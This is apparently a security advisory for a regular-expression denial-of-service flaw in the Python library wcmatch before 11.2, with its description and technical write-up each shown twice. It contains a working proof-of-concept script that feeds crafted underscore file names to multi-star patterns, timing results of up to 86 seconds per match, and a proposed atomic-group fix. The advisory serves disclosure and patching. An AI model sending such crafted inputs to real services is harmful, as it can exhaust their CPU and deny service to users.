wcmatch is a Python library for wildcard file-name matching. Prior to 11.2, under the default flags, matching a non-matching…
[email protected]·CWE-1333·Published 2026-11-20
wcmatch is a Python library for wildcard file-name matching. Prior to 11.2, under the default flags, matching a non-matching attacker-controlled name against an application-supplied pattern containing several star wildcards separated by literals makes the lazy .? and [^/]? segments, including _STAR and _PATH_STAR emitted by _handle_star() in wcmatch/_wcparse.py, backtrack across possible splits, so a single comparison can consume prolonged CPU time. The pattern remains a developer-controlled constant and only the name is attacker-controlled; affected paths include fnmatch.fnmatch(), glob.globmatch(), and filesystem glob scans where another user can create names, without enabling extglob or any non-default flag. This issue is fixed in 11.2.
wcmatch is a Python library for wildcard file-name matching. Prior to 11.2, under the default flags, matching a non-matching attacker-controlled name against an application-supplied pattern containing several star wildcards separated by literals makes the lazy .? and [^/]? segments, including _STAR and _PATH_STAR emitted by _handle_star() in wcmatch/_wcparse.py, backtrack across possible splits, so a single comparison can consume prolonged CPU time. The pattern remains a developer-controlled constant and only the name is attacker-controlled; affected paths include fnmatch.fnmatch(), glob.globmatch(), and filesystem glob scans where another user can create names, without enabling extglob or any non-default flag. This issue is fixed in 11.2.
# Summary With default flags, a pattern that contains several `*` wildcards takes polynomial time, O(n^k) for k stars, to reject a crafted file name. The pattern is an ordinary developer constant such as `*_*_*_*_*.csv`; only the string being matched comes from the attacker. A 255-byte file name (the maximum on common filesystems) takes 73 s with `fnmatch.fnmatch()` and 86 s with `glob.globmatch()`. The standard library's `fnmatch` handles the same input in under a millisecond. This is different from GHSA-84v8-qmgq-9g88: that advisory covers extglob patterns, while this case needs no flags and no attacker-controlled pattern. # Details Every `*` is translated to a lazy `.*?` (`_STAR`, `wcmatch/_wcparse.py:212`; `_PATH_STAR` `[^/]*?`, `:218`), which is emitted in `_handle_star` (`:1405-1424`): ```text *_*_*_*_*.csv -> ^(?s:(?=.)(?![.]).*?_.*?_.*?_.*?_.*?\.csv)$ ``` When the subject consists of many `_` and does not end in `.csv`, the regex engine tries every way of splitting it between the stars. CPython fixed the same problem in its own `fnmatch` (bpo-40480) by making every star segment except the last one atomic. # PoC ```python import time, fnmatch as std from wcmatch import fnmatch, glob for pat, n in [('*_*_*_*.csv', 255), ('*_*_*_*.csv', 400), ('*_*_*_*_*.csv', 150), ('*_*_*_*_*.csv', 200), ('*_*_*_*_*.csv', 255)]: name = '_' * n t = time.perf_counter(); fnmatch.fnmatch(name, pat); w = time.perf_counter() - t t = time.perf_counter(); std.fnmatchcase(name, pat); s = time.perf_counter() - t print(f'{pat:15} len={n} wcmatch={w:.3f}s stdlib={s:.5f}s') t = time.perf_counter(); glob.globmatch('uploads/' + '_' * 255, 'uploads/*_*_*_*_*.csv') print(f'globmatch {time.perf_counter() - t:.2f}s') ``` wcmatch 11.1, CPython 3.13, macOS: ```text *_*_*_*.csv len=255 wcmatch=1.412s stdlib=0.00001s *_*_*_*.csv len=400 wcmatch=8.599s stdlib=0.00004s *_*_*_*_*.csv len=150 wcmatch=5.333s stdlib=0.00003s *_*_*_*_*.csv len=200 wcmatch=22.415s stdlib=0.00007s *_*_*_*_*.csv len=255 wcmatch=72.732s stdlib=0.00047s globmatch 85.75s ``` `glob.glob('*_*_*_*.csv', root_dir=d)` on a real directory that contains one file named `'_' * 255` takes 1.7 s. # Impact Applications that match untrusted names against multi-star patterns can be blocked on a single CPU core for minutes per name. Examples: upload handlers, archive or object-store key filters, and `glob`/`WcMatch` scans of directories where other users can create files. No authentication is needed. # Fix Emit every star segment except the last one as an atomic group, as the standard library does. On Python 3.11 and later use `(?>.*?_)`; on 3.10 use the lookahead/backreference form from `fnmatch._join_translated_parts`. For example: ```text ^(?s:(?=.)(?![.])(?>.*?_)(?>.*?_)(?>.*?_)(?>.*?_).*?\.csv)$ ``` This rejects the 255-byte name in under 1 ms. On my spot-check inputs it gives the same results as the current regex. The same change applies to `_PATH_STAR`.
# Summary With default flags, a pattern that contains several `*` wildcards takes polynomial time, O(n^k) for k stars, to reject a crafted file name. The pattern is an ordinary developer constant such as `*_*_*_*_*.csv`; only the string being matched comes from the attacker. A 255-byte file name (the maximum on common filesystems) takes 73 s with `fnmatch.fnmatch()` and 86 s with `glob.globmatch()`. The standard library's `fnmatch` handles the same input in under a millisecond. This is different from GHSA-84v8-qmgq-9g88: that advisory covers extglob patterns, while this case needs no flags and no attacker-controlled pattern. # Details Every `*` is translated to a lazy `.*?` (`_STAR`, `wcmatch/_wcparse.py:212`; `_PATH_STAR` `[^/]*?`, `:218`), which is emitted in `_handle_star` (`:1405-1424`): ```text *_*_*_*_*.csv -> ^(?s:(?=.)(?![.]).*?_.*?_.*?_.*?_.*?\.csv)$ ``` When the subject consists of many `_` and does not end in `.csv`, the regex engine tries every way of splitting it between the stars. CPython fixed the same problem in its own `fnmatch` (bpo-40480) by making every star segment except the last one atomic. # PoC ```python import time, fnmatch as std from wcmatch import fnmatch, glob for pat, n in [('*_*_*_*.csv', 255), ('*_*_*_*.csv', 400), ('*_*_*_*_*.csv', 150), ('*_*_*_*_*.csv', 200), ('*_*_*_*_*.csv', 255)]: name = '_' * n t = time.perf_counter(); fnmatch.fnmatch(name, pat); w = time.perf_counter() - t t = time.perf_counter(); std.fnmatchcase(name, pat); s = time.perf_counter() - t print(f'{pat:15} len={n} wcmatch={w:.3f}s stdlib={s:.5f}s') t = time.perf_counter(); glob.globmatch('uploads/' + '_' * 255, 'uploads/*_*_*_*_*.csv') print(f'globmatch {time.perf_counter() - t:.2f}s') ``` wcmatch 11.1, CPython 3.13, macOS: ```text *_*_*_*.csv len=255 wcmatch=1.412s stdlib=0.00001s *_*_*_*.csv len=400 wcmatch=8.599s stdlib=0.00004s *_*_*_*_*.csv len=150 wcmatch=5.333s stdlib=0.00003s *_*_*_*_*.csv len=200 wcmatch=22.415s stdlib=0.00007s *_*_*_*_*.csv len=255 wcmatch=72.732s stdlib=0.00047s globmatch 85.75s ``` `glob.glob('*_*_*_*.csv', root_dir=d)` on a real directory that contains one file named `'_' * 255` takes 1.7 s. # Impact Applications that match untrusted names against multi-star patterns can be blocked on a single CPU core for minutes per name. Examples: upload handlers, archive or object-store key filters, and `glob`/`WcMatch` scans of directories where other users can create files. No authentication is needed. # Fix Emit every star segment except the last one as an atomic group, as the standard library does. On Python 3.11 and later use `(?>.*?_)`; on 3.10 use the lookahead/backreference form from `fnmatch._join_translated_parts`. For example: ```text ^(?s:(?=.)(?![.])(?>.*?_)(?>.*?_)(?>.*?_)(?>.*?_).*?\.csv)$ ``` This rejects the 255-byte name in under 1 ms. On my spot-check inputs it gives the same results as the current regex. The same change applies to `_PATH_STAR`.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 3.1 | Primary | cve.org | 5.9 | — | — | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 3.1 | Primary | cve.org | 5.9 | — | — | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 3.1 | Secondary | NVD | 5.9 | 2.2 | 3.6 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 3.1 | Secondary | GHSA | 5.9 | — | — | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 3.1 | Secondary | ENISA EUVD | 5.9 | — | — | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |